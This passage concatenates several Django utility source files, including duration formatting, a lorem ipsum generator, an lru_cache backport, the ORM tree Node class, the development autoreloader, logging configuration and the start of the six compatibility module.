    return timesince(d, now, reversed=True)






import datetime


def _get_duration_components(duration):
    days = duration.days
    seconds = duration.seconds
    microseconds = duration.microseconds

    minutes = seconds // 60
    seconds = seconds % 60

    hours = minutes // 60
    minutes = minutes % 60

    return days, hours, minutes, seconds, microseconds


def duration_string(duration):
    """Version of str(timedelta) which is not English specific."""
    days, hours, minutes, seconds, microseconds = _get_duration_components(duration)

    string = '{:02d}:{:02d}:{:02d}'.format(hours, minutes, seconds)
    if days:
        string = '{} '.format(days) + string
    if microseconds:
        string += '.{:06d}'.format(microseconds)

    return string


def duration_iso_string(duration):
    if duration < datetime.timedelta(0):
        sign = '-'
        duration *= -1
    else:
        sign = ''

    days, hours, minutes, seconds, microseconds = _get_duration_components(duration)
    ms = '.{:06d}'.format(microseconds) if microseconds else ""
    return '{}P{}DT{:02d}H{:02d}M{:02d}{}S'.format(sign, days, hours, minutes, seconds, ms)






"""
Utility functions for generating "lorem ipsum" Latin text.
"""

from __future__ import unicode_literals

import random

COMMON_P = (
    'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod '
    'tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim '
    'veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea '
    'commodo consequat. Duis aute irure dolor in reprehenderit in voluptate '
    'velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint '
    'occaecat cupidatat non proident, sunt in culpa qui officia deserunt '
    'mollit anim id est laborum.'
)

WORDS = (
    'exercitationem', 'perferendis', 'perspiciatis', 'laborum', 'eveniet',
    'sunt', 'iure', 'nam', 'nobis', 'eum', 'cum', 'officiis', 'excepturi',
    'odio', 'consectetur', 'quasi', 'aut', 'quisquam', 'vel', 'eligendi',
    'itaque', 'non', 'odit', 'tempore', 'quaerat', 'dignissimos',
    'facilis', 'neque', 'nihil', 'expedita', 'vitae', 'vero', 'ipsum',
    'nisi', 'animi', 'cumque', 'pariatur', 'velit', 'modi', 'natus',
    'iusto', 'eaque', 'sequi', 'illo', 'sed', 'ex', 'et', 'voluptatibus',
    'tempora', 'veritatis', 'ratione', 'assumenda', 'incidunt', 'nostrum',
    'placeat', 'aliquid', 'fuga', 'provident', 'praesentium', 'rem',
    'necessitatibus', 'suscipit', 'adipisci', 'quidem', 'possimus',
    'voluptas', 'debitis', 'sint', 'accusantium', 'unde', 'sapiente',
    'voluptate', 'qui', 'aspernatur', 'laudantium', 'soluta', 'amet',
    'quo', 'aliquam', 'saepe', 'culpa', 'libero', 'ipsa', 'dicta',
    'reiciendis', 'nesciunt', 'doloribus', 'autem', 'impedit', 'minima',
    'maiores', 'repudiandae', 'ipsam', 'obcaecati', 'ullam', 'enim',
    'totam', 'delectus', 'ducimus', 'quis', 'voluptates', 'dolores',
    'molestiae', 'harum', 'dolorem', 'quia', 'voluptatem', 'molestias',
    'magni', 'distinctio', 'omnis', 'illum', 'dolorum', 'voluptatum', 'ea',
    'quas', 'quam', 'corporis', 'quae', 'blanditiis', 'atque', 'deserunt',
    'laboriosam', 'earum', 'consequuntur', 'hic', 'cupiditate',
    'quibusdam', 'accusamus', 'ut', 'rerum', 'error', 'minus', 'eius',
    'ab', 'ad', 'nemo', 'fugit', 'officia', 'at', 'in', 'id', 'quos',
    'reprehenderit', 'numquam', 'iste', 'fugiat', 'sit', 'inventore',
    'beatae', 'repellendus', 'magnam', 'recusandae', 'quod', 'explicabo',
    'doloremque', 'aperiam', 'consequatur', 'asperiores', 'commodi',
    'optio', 'dolor', 'labore', 'temporibus', 'repellat', 'veniam',
    'architecto', 'est', 'esse', 'mollitia', 'nulla', 'a', 'similique',
    'eos', 'alias', 'dolore', 'tenetur', 'deleniti', 'porro', 'facere',
    'maxime', 'corrupti',
)

COMMON_WORDS = (
    'lorem', 'ipsum', 'dolor', 'sit', 'amet', 'consectetur',
    'adipisicing', 'elit', 'sed', 'do', 'eiusmod', 'tempor', 'incididunt',
    'ut', 'labore', 'et', 'dolore', 'magna', 'aliqua',
)


def sentence():
    """
    Returns a randomly generated sentence of lorem ipsum text.

    The first word is capitalized, and the sentence ends in either a period or
    question mark. Commas are added at random.
    """
    # Determine the number of comma-separated sections and number of words in
    # each section for this sentence.
    sections = [' '.join(random.sample(WORDS, random.randint(3, 12))) for i in range(random.randint(1, 5))]
    s = ', '.join(sections)
    # Convert to sentence case and add end punctuation.
    return '%s%s%s' % (s[0].upper(), s[1:], random.choice('?.'))


def paragraph():
    """
    Returns a randomly generated paragraph of lorem ipsum text.

    The paragraph consists of between 1 and 4 sentences, inclusive.
    """
    return ' '.join(sentence() for i in range(random.randint(1, 4)))


def paragraphs(count, common=True):
    """
    Returns a list of paragraphs as returned by paragraph().

    If `common` is True, then the first paragraph will be the standard
    'lorem ipsum' paragraph. Otherwise, the first paragraph will be random
    Latin text. Either way, subsequent paragraphs will be random Latin text.
    """
    paras = []
    for i in range(count):
        if common and i == 0:
            paras.append(COMMON_P)
        else:
            paras.append(paragraph())
    return paras


def words(count, common=True):
    """
    Returns a string of `count` lorem ipsum words separated by a single space.

    If `common` is True, then the first 19 words will be the standard
    'lorem ipsum' words. Otherwise, all words will be selected randomly.
    """
    if common:
        word_list = list(COMMON_WORDS)
    else:
        word_list = []
    c = len(word_list)
    if count > c:
        count -= c
        while count > 0:
            c = min(count, len(WORDS))
            count -= c
            word_list += random.sample(WORDS, c)
    else:
        word_list = word_list[:count]
    return ' '.join(word_list)






try:
    from functools import lru_cache

except ImportError:
    # backport of Python's 3.3 lru_cache, written by Raymond Hettinger and
    # licensed under MIT license, from:
    # <http://code.activestate.com/recipes/578078-py26-and-py30-backport-of-python-33s-lru-cache/>
    # Should be removed when Django only supports Python 3.2 and above.

    from collections import namedtuple
    from functools import update_wrapper
    from threading import RLock

    _CacheInfo = namedtuple("CacheInfo", ["hits", "misses", "maxsize", "currsize"])

    class _HashedSeq(list):
        __slots__ = 'hashvalue'

        def __init__(self, tup, hash=hash):
            self[:] = tup
            self.hashvalue = hash(tup)

        def __hash__(self):
            return self.hashvalue

    def _make_key(args, kwds, typed,
                 kwd_mark = (object(),),
                 fasttypes = {int, str, frozenset, type(None)},
                 sorted=sorted, tuple=tuple, type=type, len=len):
        'Make a cache key from optionally typed positional and keyword arguments'
        key = args
        if kwds:
            sorted_items = sorted(kwds.items())
            key += kwd_mark
            for item in sorted_items:
                key += item
        if typed:
            key += tuple(type(v) for v in args)
            if kwds:
                key += tuple(type(v) for k, v in sorted_items)
        elif len(key) == 1 and type(key[0]) in fasttypes:
            return key[0]
        return _HashedSeq(key)

    def lru_cache(maxsize=100, typed=False):
        """Least-recently-used cache decorator.

        If *maxsize* is set to None, the LRU features are disabled and the cache
        can grow without bound.

        If *typed* is True, arguments of different types will be cached separately.
        For example, f(3.0) and f(3) will be treated as distinct calls with
        distinct results.

        Arguments to the cached function must be hashable.

        View the cache statistics named tuple (hits, misses, maxsize, currsize) with
        f.cache_info().  Clear the cache and statistics with f.cache_clear().
        Access the underlying function with f.__wrapped__.

        See:  https://en.wikipedia.org/wiki/Cache_algorithms#Least_Recently_Used
        """

        # Users should only access the lru_cache through its public API:
        #       cache_info, cache_clear, and f.__wrapped__
        # The internals of the lru_cache are encapsulated for thread safety and
        # to allow the implementation to change (including a possible C version).

        def decorating_function(user_function):

            cache = dict()
            stats = [0, 0]                  # make statistics updateable non-locally
            HITS, MISSES = 0, 1             # names for the stats fields
            make_key = _make_key
            cache_get = cache.get           # bound method to lookup key or return None
            _len = len                      # localize the global len() function
            lock = RLock()                  # because linkedlist updates aren't threadsafe
            root = []                       # root of the circular doubly linked list
            root[:] = [root, root, None, None]      # initialize by pointing to self
            nonlocal_root = [root]                  # make updateable non-locally
            PREV, NEXT, KEY, RESULT = 0, 1, 2, 3    # names for the link fields

            if maxsize == 0:

                def wrapper(*args, **kwds):
                    # no caching, just do a statistics update after a successful call
                    result = user_function(*args, **kwds)
                    stats[MISSES] += 1
                    return result

            elif maxsize is None:

                def wrapper(*args, **kwds):
                    # simple caching without ordering or size limit
                    key = make_key(args, kwds, typed)
                    result = cache_get(key, root)   # root used here as a unique not-found sentinel
                    if result is not root:
                        stats[HITS] += 1
                        return result
                    result = user_function(*args, **kwds)
                    cache[key] = result
                    stats[MISSES] += 1
                    return result

            else:

                def wrapper(*args, **kwds):
                    # size limited caching that tracks accesses by recency
                    key = make_key(args, kwds, typed) if kwds or typed else args
                    with lock:
                        link = cache_get(key)
                        if link is not None:
                            # record recent use of the key by moving it to the front of the list
                            root, = nonlocal_root
                            link_prev, link_next, key, result = link
                            link_prev[NEXT] = link_next
                            link_next[PREV] = link_prev
                            last = root[PREV]
                            last[NEXT] = root[PREV] = link
                            link[PREV] = last
                            link[NEXT] = root
                            stats[HITS] += 1
                            return result
                    result = user_function(*args, **kwds)
                    with lock:
                        root, = nonlocal_root
                        if key in cache:
                            # getting here means that this same key was added to the
                            # cache while the lock was released.  since the link
                            # update is already done, we need only return the
                            # computed result and update the count of misses.
                            pass
                        elif _len(cache) >= maxsize:
                            # use the old root to store the new key and result
                            oldroot = root
                            oldroot[KEY] = key
                            oldroot[RESULT] = result
                            # empty the oldest link and make it the new root
                            root = nonlocal_root[0] = oldroot[NEXT]
                            oldkey = root[KEY]
                            oldvalue = root[RESULT]
                            root[KEY] = root[RESULT] = None
                            # now update the cache dictionary for the new links
                            del cache[oldkey]
                            cache[key] = oldroot
                        else:
                            # put result in a new link at the front of the list
                            last = root[PREV]
                            link = [last, root, key, result]
                            last[NEXT] = root[PREV] = cache[key] = link
                        stats[MISSES] += 1
                    return result

            def cache_info():
                """Report cache statistics"""
                with lock:
                    return _CacheInfo(stats[HITS], stats[MISSES], maxsize, len(cache))

            def cache_clear():
                """Clear the cache and cache statistics"""
                with lock:
                    cache.clear()
                    root = nonlocal_root[0]
                    root[:] = [root, root, None, None]
                    stats[:] = [0, 0]

            wrapper.__wrapped__ = user_function
            wrapper.cache_info = cache_info
            wrapper.cache_clear = cache_clear
            return update_wrapper(wrapper, user_function)

        return decorating_function






"""
A class for storing a tree graph. Primarily used for filter constructs in the
ORM.
"""

import copy

from django.utils.encoding import force_str, force_text


class Node(object):
    """
    A single internal node in the tree graph. A Node should be viewed as a
    connection (the root) with the children being either leaf nodes or other
    Node instances.
    """
    # Standard connector type. Clients usually won't use this at all and
    # subclasses will usually override the value.
    default = 'DEFAULT'

    def __init__(self, children=None, connector=None, negated=False):
        """
        Constructs a new Node. If no connector is given, the default will be
        used.
        """
        self.children = children[:] if children else []
        self.connector = connector or self.default
        self.negated = negated

    # We need this because of django.db.models.query_utils.Q. Q. __init__() is
    # problematic, but it is a natural Node subclass in all other respects.
    @classmethod
    def _new_instance(cls, children=None, connector=None, negated=False):
        """
        This is called to create a new instance of this class when we need new
        Nodes (or subclasses) in the internal code in this class. Normally, it
        just shadows __init__(). However, subclasses with an __init__ signature
        that is not an extension of Node.__init__ might need to implement this
        method to allow a Node to create a new instance of them (if they have
        any extra setting up to do).
        """
        obj = Node(children, connector, negated)
        obj.__class__ = cls
        return obj

    def __str__(self):
        template = '(NOT (%s: %s))' if self.negated else '(%s: %s)'
        return force_str(template % (self.connector, ', '.join(force_text(c) for c in self.children)))

    def __repr__(self):
        return str("<%s: %s>") % (self.__class__.__name__, self)

    def __deepcopy__(self, memodict):
        """
        Utility method used by copy.deepcopy().
        """
        obj = Node(connector=self.connector, negated=self.negated)
        obj.__class__ = self.__class__
        obj.children = copy.deepcopy(self.children, memodict)
        return obj

    def __len__(self):
        """
        The size of a node if the number of children it has.
        """
        return len(self.children)

    def __bool__(self):
        """
        For truth value testing.
        """
        return bool(self.children)

    def __nonzero__(self):      # Python 2 compatibility
        return type(self).__bool__(self)

    def __contains__(self, other):
        """
        Returns True is 'other' is a direct child of this instance.
        """
        return other in self.children

    def add(self, data, conn_type, squash=True):
        """
        Combines this tree and the data represented by data using the
        connector conn_type. The combine is done by squashing the node other
        away if possible.

        This tree (self) will never be pushed to a child node of the
        combined tree, nor will the connector or negated properties change.

        The function returns a node which can be used in place of data
        regardless if the node other got squashed or not.

        If `squash` is False the data is prepared and added as a child to
        this tree without further logic.
        """
        if data in self.children:
            return data
        if not squash:
            self.children.append(data)
            return data
        if self.connector == conn_type:
            # We can reuse self.children to append or squash the node other.
            if (isinstance(data, Node) and not data.negated and
                    (data.connector == conn_type or len(data) == 1)):
                # We can squash the other node's children directly into this
                # node. We are just doing (AB)(CD) == (ABCD) here, with the
                # addition that if the length of the other node is 1 the
                # connector doesn't matter. However, for the len(self) == 1
                # case we don't want to do the squashing, as it would alter
                # self.connector.
                self.children.extend(data.children)
                return self
            else:
                # We could use perhaps additional logic here to see if some
                # children could be used for pushdown here.
                self.children.append(data)
                return data
        else:
            obj = self._new_instance(self.children, self.connector,
                                     self.negated)
            self.connector = conn_type
            self.children = [obj, data]
            return data

    def negate(self):
        """
        Negate the sense of the root connector.
        """
        self.negated = not self.negated












# Autoreloading launcher.
# Borrowed from Peter Hunt and the CherryPy project (http://www.cherrypy.org).
# Some taken from Ian Bicking's Paste (http://pythonpaste.org/).
#
# Portions copyright (c) 2004, CherryPy Team (team@cherrypy.org)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#     * Redistributions of source code must retain the above copyright notice,
#       this list of conditions and the following disclaimer.
#     * Redistributions in binary form must reproduce the above copyright notice,
#       this list of conditions and the following disclaimer in the documentation
#       and/or other materials provided with the distribution.
#     * Neither the name of the CherryPy Team nor the names of its contributors
#       may be used to endorse or promote products derived from this software
#       without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

import os
import signal
import sys
import time
import traceback

from django.apps import apps
from django.conf import settings
from django.core.signals import request_finished
from django.utils import six
from django.utils._os import npath
from django.utils.six.moves import _thread as thread

# This import does nothing, but it's necessary to avoid some race conditions
# in the threading module. See http://code.djangoproject.com/ticket/2330 .
try:
    import threading  # NOQA
except ImportError:
    pass

try:
    import termios
except ImportError:
    termios = None

USE_INOTIFY = False
try:
    # Test whether inotify is enabled and likely to work
    import pyinotify

    fd = pyinotify.INotifyWrapper.create().inotify_init()
    if fd >= 0:
        USE_INOTIFY = True
        os.close(fd)
except ImportError:
    pass

RUN_RELOADER = True

FILE_MODIFIED = 1
I18N_MODIFIED = 2

_mtimes = {}
_win = (sys.platform == "win32")

_exception = None
_error_files = []
_cached_modules = set()
_cached_filenames = []


def gen_filenames(only_new=False):
    """
    Returns a list of filenames referenced in sys.modules and translation
    files.
    """
    # N.B. ``list(...)`` is needed, because this runs in parallel with
    # application code which might be mutating ``sys.modules``, and this will
    # fail with RuntimeError: cannot mutate dictionary while iterating
    global _cached_modules, _cached_filenames
    module_values = set(sys.modules.values())
    _cached_filenames = clean_files(_cached_filenames)
    if _cached_modules == module_values:
        # No changes in module list, short-circuit the function
        if only_new:
            return []
        else:
            return _cached_filenames + clean_files(_error_files)

    new_modules = module_values - _cached_modules
    new_filenames = clean_files(
        [filename.__file__ for filename in new_modules
         if hasattr(filename, '__file__')])

    if not _cached_filenames and settings.USE_I18N:
        # Add the names of the .mo files that can be generated
        # by compilemessages management command to the list of files watched.
        basedirs = [os.path.join(os.path.dirname(os.path.dirname(__file__)),
                                 'conf', 'locale'),
                    'locale']
        for app_config in reversed(list(apps.get_app_configs())):
            basedirs.append(os.path.join(npath(app_config.path), 'locale'))
        basedirs.extend(settings.LOCALE_PATHS)
        basedirs = [os.path.abspath(basedir) for basedir in basedirs
                    if os.path.isdir(basedir)]
        for basedir in basedirs:
            for dirpath, dirnames, locale_filenames in os.walk(basedir):
                for filename in locale_filenames:
                    if filename.endswith('.mo'):
                        new_filenames.append(os.path.join(dirpath, filename))

    _cached_modules = _cached_modules.union(new_modules)
    _cached_filenames += new_filenames
    if only_new:
        return new_filenames + clean_files(_error_files)
    else:
        return _cached_filenames + clean_files(_error_files)


def clean_files(filelist):
    filenames = []
    for filename in filelist:
        if not filename:
            continue
        if filename.endswith(".pyc") or filename.endswith(".pyo"):
            filename = filename[:-1]
        if filename.endswith("$py.class"):
            filename = filename[:-9] + ".py"
        if os.path.exists(filename):
            filenames.append(filename)
    return filenames


def reset_translations():
    import gettext
    from django.utils.translation import trans_real
    gettext._translations = {}
    trans_real._translations = {}
    trans_real._default = None
    trans_real._active = threading.local()


def inotify_code_changed():
    """
    Checks for changed code using inotify. After being called
    it blocks until a change event has been fired.
    """
    class EventHandler(pyinotify.ProcessEvent):
        modified_code = None

        def process_default(self, event):
            if event.path.endswith('.mo'):
                EventHandler.modified_code = I18N_MODIFIED
            else:
                EventHandler.modified_code = FILE_MODIFIED

    wm = pyinotify.WatchManager()
    notifier = pyinotify.Notifier(wm, EventHandler())

    def update_watch(sender=None, **kwargs):
        if sender and getattr(sender, 'handles_files', False):
            # No need to update watches when request serves files.
            # (sender is supposed to be a django.core.handlers.BaseHandler subclass)
            return
        mask = (
            pyinotify.IN_MODIFY |
            pyinotify.IN_DELETE |
            pyinotify.IN_ATTRIB |
            pyinotify.IN_MOVED_FROM |
            pyinotify.IN_MOVED_TO |
            pyinotify.IN_CREATE |
            pyinotify.IN_DELETE_SELF |
            pyinotify.IN_MOVE_SELF
        )
        for path in gen_filenames(only_new=True):
            wm.add_watch(path, mask)

    # New modules may get imported when a request is processed.
    request_finished.connect(update_watch)

    # Block until an event happens.
    update_watch()
    notifier.check_events(timeout=None)
    notifier.read_events()
    notifier.process_events()
    notifier.stop()

    # If we are here the code must have changed.
    return EventHandler.modified_code


def code_changed():
    global _mtimes, _win
    for filename in gen_filenames():
        stat = os.stat(filename)
        mtime = stat.st_mtime
        if _win:
            mtime -= stat.st_ctime
        if filename not in _mtimes:
            _mtimes[filename] = mtime
            continue
        if mtime != _mtimes[filename]:
            _mtimes = {}
            try:
                del _error_files[_error_files.index(filename)]
            except ValueError:
                pass
            return I18N_MODIFIED if filename.endswith('.mo') else FILE_MODIFIED
    return False


def check_errors(fn):
    def wrapper(*args, **kwargs):
        global _exception
        try:
            fn(*args, **kwargs)
        except Exception:
            _exception = sys.exc_info()

            et, ev, tb = _exception

            if getattr(ev, 'filename', None) is None:
                # get the filename from the last item in the stack
                filename = traceback.extract_tb(tb)[-1][0]
            else:
                filename = ev.filename

            if filename not in _error_files:
                _error_files.append(filename)

            raise

    return wrapper


def raise_last_exception():
    global _exception
    if _exception is not None:
        six.reraise(*_exception)


def ensure_echo_on():
    if termios:
        fd = sys.stdin
        if fd.isatty():
            attr_list = termios.tcgetattr(fd)
            if not attr_list[3] & termios.ECHO:
                attr_list[3] |= termios.ECHO
                if hasattr(signal, 'SIGTTOU'):
                    old_handler = signal.signal(signal.SIGTTOU, signal.SIG_IGN)
                else:
                    old_handler = None
                termios.tcsetattr(fd, termios.TCSANOW, attr_list)
                if old_handler is not None:
                    signal.signal(signal.SIGTTOU, old_handler)


def reloader_thread():
    ensure_echo_on()
    if USE_INOTIFY:
        fn = inotify_code_changed
    else:
        fn = code_changed
    while RUN_RELOADER:
        change = fn()
        if change == FILE_MODIFIED:
            sys.exit(3)  # force reload
        elif change == I18N_MODIFIED:
            reset_translations()
        time.sleep(1)


def restart_with_reloader():
    while True:
        args = [sys.executable] + ['-W%s' % o for o in sys.warnoptions] + sys.argv
        if sys.platform == "win32":
            args = ['"%s"' % arg for arg in args]
        new_environ = os.environ.copy()
        new_environ["RUN_MAIN"] = 'true'
        exit_code = os.spawnve(os.P_WAIT, sys.executable, args, new_environ)
        if exit_code != 3:
            return exit_code


def python_reloader(main_func, args, kwargs):
    if os.environ.get("RUN_MAIN") == "true":
        thread.start_new_thread(main_func, args, kwargs)
        try:
            reloader_thread()
        except KeyboardInterrupt:
            pass
    else:
        try:
            exit_code = restart_with_reloader()
            if exit_code < 0:
                os.kill(os.getpid(), -exit_code)
            else:
                sys.exit(exit_code)
        except KeyboardInterrupt:
            pass


def jython_reloader(main_func, args, kwargs):
    from _systemrestart import SystemRestart
    thread.start_new_thread(main_func, args)
    while True:
        if code_changed():
            raise SystemRestart
        time.sleep(1)


def main(main_func, args=None, kwargs=None):
    if args is None:
        args = ()
    if kwargs is None:
        kwargs = {}
    if sys.platform.startswith('java'):
        reloader = jython_reloader
    else:
        reloader = python_reloader

    wrapped_main_func = check_errors(main_func)
    reloader(wrapped_main_func, args, kwargs)






from __future__ import unicode_literals

import os.path
import re

from django.utils import six

# backport of Python 3.4's glob.escape

if six.PY3:
    from glob import escape as glob_escape
else:
    _magic_check = re.compile('([*?[])')

    def glob_escape(pathname):
        """
        Escape all special characters.
        """
        drive, pathname = os.path.splitdrive(pathname)
        pathname = _magic_check.sub(r'[\1]', pathname)
        return drive + pathname






from __future__ import unicode_literals

import logging
import logging.config  # needed when logging_config doesn't start with logging.config
from copy import copy

from django.conf import settings
from django.core import mail
from django.core.mail import get_connection
from django.core.management.color import color_style
from django.utils.module_loading import import_string
from django.views.debug import ExceptionReporter

# Default logging for Django. This sends an email to the site admins on every
# HTTP 500 error. Depending on DEBUG, all other log records are either sent to
# the console (DEBUG=True) or discarded (DEBUG=False) by means of the
# require_debug_true filter.
DEFAULT_LOGGING = {
    'version': 1,
    'disable_existing_loggers': False,
    'filters': {
        'require_debug_false': {
            '()': 'django.utils.log.RequireDebugFalse',
        },
        'require_debug_true': {
            '()': 'django.utils.log.RequireDebugTrue',
        },
    },
    'formatters': {
        'django.server': {
            '()': 'django.utils.log.ServerFormatter',
            'format': '[%(server_time)s] %(message)s',
        }
    },
    'handlers': {
        'console': {
            'level': 'INFO',
            'filters': ['require_debug_true'],
            'class': 'logging.StreamHandler',
        },
        'django.server': {
            'level': 'INFO',
            'class': 'logging.StreamHandler',
            'formatter': 'django.server',
        },
        'mail_admins': {
            'level': 'ERROR',
            'filters': ['require_debug_false'],
            'class': 'django.utils.log.AdminEmailHandler'
        }
    },
    'loggers': {
        'django': {
            'handlers': ['console', 'mail_admins'],
            'level': 'INFO',
        },
        'django.server': {
            'handlers': ['django.server'],
            'level': 'INFO',
            'propagate': False,
        },
    }
}


def configure_logging(logging_config, logging_settings):
    if logging_config:
        # First find the logging configuration function ...
        logging_config_func = import_string(logging_config)

        logging.config.dictConfig(DEFAULT_LOGGING)

        # ... then invoke it with the logging settings
        if logging_settings:
            logging_config_func(logging_settings)


class AdminEmailHandler(logging.Handler):
    """An exception log handler that emails log entries to site admins.

    If the request is passed as the first argument to the log record,
    request data will be provided in the email report.
    """

    def __init__(self, include_html=False, email_backend=None):
        logging.Handler.__init__(self)
        self.include_html = include_html
        self.email_backend = email_backend

    def emit(self, record):
        try:
            request = record.request
            subject = '%s (%s IP): %s' % (
                record.levelname,
                ('internal' if request.META.get('REMOTE_ADDR') in settings.INTERNAL_IPS
                 else 'EXTERNAL'),
                record.getMessage()
            )
        except Exception:
            subject = '%s: %s' % (
                record.levelname,
                record.getMessage()
            )
            request = None
        subject = self.format_subject(subject)

        # Since we add a nicely formatted traceback on our own, create a copy
        # of the log record without the exception data.
        no_exc_record = copy(record)
        no_exc_record.exc_info = None
        no_exc_record.exc_text = None

        if record.exc_info:
            exc_info = record.exc_info
        else:
            exc_info = (None, record.getMessage(), None)

        reporter = ExceptionReporter(request, is_email=True, *exc_info)
        message = "%s\n\n%s" % (self.format(no_exc_record), reporter.get_traceback_text())
        html_message = reporter.get_traceback_html() if self.include_html else None
        self.send_mail(subject, message, fail_silently=True, html_message=html_message)

    def send_mail(self, subject, message, *args, **kwargs):
        mail.mail_admins(subject, message, *args, connection=self.connection(), **kwargs)

    def connection(self):
        return get_connection(backend=self.email_backend, fail_silently=True)

    def format_subject(self, subject):
        """
        Escape CR and LF characters.
        """
        return subject.replace('\n', '\\n').replace('\r', '\\r')


class CallbackFilter(logging.Filter):
    """
    A logging filter that checks the return value of a given callable (which
    takes the record-to-be-logged as its only parameter) to decide whether to
    log a record.
    """
    def __init__(self, callback):
        self.callback = callback

    def filter(self, record):
        if self.callback(record):
            return 1
        return 0


class RequireDebugFalse(logging.Filter):
    def filter(self, record):
        return not settings.DEBUG


class RequireDebugTrue(logging.Filter):
    def filter(self, record):
        return settings.DEBUG


class ServerFormatter(logging.Formatter):
    def __init__(self, *args, **kwargs):
        self.style = color_style()
        super(ServerFormatter, self).__init__(*args, **kwargs)

    def format(self, record):
        args = record.args
        msg = record.msg

        if len(args) == 0:
            msg = self.style.HTTP_BAD_REQUEST(msg)
        else:
            if args[1][0] == '2':
                # Put 2XX first, since it should be the common case
                msg = self.style.HTTP_SUCCESS(msg)
            elif args[1][0] == '1':
                msg = self.style.HTTP_INFO(msg)
            elif args[1] == '304':
                msg = self.style.HTTP_NOT_MODIFIED(msg)
            elif args[1][0] == '3':
                msg = self.style.HTTP_REDIRECT(msg)
            elif args[1] == '404':
                msg = self.style.HTTP_NOT_FOUND(msg)
            elif args[1][0] == '4':
                msg = self.style.HTTP_BAD_REQUEST(msg)
            else:
                # Any 5XX, or any other response
                msg = self.style.HTTP_SERVER_ERROR(msg)

        record.msg = msg
        return super(ServerFormatter, self).format(record)






"""Utilities for writing code that runs on Python 2 and 3"""

# Copyright (c) 2010-2015 Benjamin Peterson
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

from __future__ import absolute_import

import functools
import itertools
import operator
import sys
import types

__author__ = "Benjamin Peterson <benjamin@python.org>"
__version__ = "1.10.0"


# Useful for very coarse version differentiation.
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3
PY34 = sys.version_info[0:2] >= (3, 4)

if PY3:
    string_types = str,
    integer_types = int,
    class_types = type,
    text_type = str
    binary_type = bytes

    MAXSIZE = sys.maxsize
else:
    string_types = basestring,
    integer_types = (int, long)
    class_types = (type, types.ClassType)
    text_type = unicode
    binary_type = str

    if sys.platform.startswith("java"):
        # Jython always uses 32 bits.
        MAXSIZE = int((1 << 31) - 1)
    else:
        # It's possible to have sizeof(long) != sizeof(Py_ssize_t).
        class X(object):

            def __len__(self):
                return 1 << 31
        try:
            len(X())
        except OverflowError:
            # 32-bit
            MAXSIZE = int((1 << 31) - 1)
        else:
            # 64-bit
            MAXSIZE = int((1 << 63) - 1)
        del X


def _add_doc(func, doc):
    """Add documentation to a function."""
    func.__doc__ = doc


def _import_module(name):
    """Import module, returning the module after the last dot."""
    __import__(name)
    return sys.modules[name]


class _LazyDescr(object):

    def __init__(self, name):
        self.name = name

    def __get__(self, obj, tp):
        result = self._resolve()
        setattr(obj, self.name, result)  # Invokes __set__.
        try:
            # This is a bit ugly, but it avoids running this again by
            # removing this descriptor.
            delattr(obj.__class__, self.name)
        except AttributeError:
            pass
        return result


class MovedModule(_LazyDescr):

    def __init__(self, name, old, new=None):
        super(MovedModule, self).__init__(name)
        if PY3:
            if new is None:
                new = name
            self.mod = new
        else:
            self.mod = old

    def _resolve(self):
        return _import_module(self.mod)

    def __getattr__(self, attr):
        _module = self._resolve()
        value = getattr(_module, attr)
        setattr(self, attr, value)
        return value


class _LazyModule(types.ModuleType):

    def __init__(self, name):
        super(_LazyModule, self).__init__(name)
        self.__doc__ = self.__class__.__doc__

    def __dir__(self):
        attrs = ["__doc__", "__name__"]
        attrs += [attr.name for attr in self._moved_attributes]
        return attrs

    # Subclasses should override this
    _moved_attributes = []


class MovedAttribute(_LazyDescr):

    def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None):
        super(MovedAttribute, self).__init__(name)
        if PY3:
            if new_mod is None:
                new_mod = name
            self.mod = new_mod
            if new_attr is None:
                if old_attr is None:
                    new_attr = name
                else:
                    new_attr = old_attr
            self.attr = new_attr
        else:
            self.mod = old_mod
            if old_attr is None:
                old_attr = name
            self.attr = old_attr

    def _resolve(self):
        module = _import_module(self.mod)
        return getattr(module, self.attr)


class _SixMetaPathImporter(object):

    """
    A meta path importer to import six.moves and its submodules.

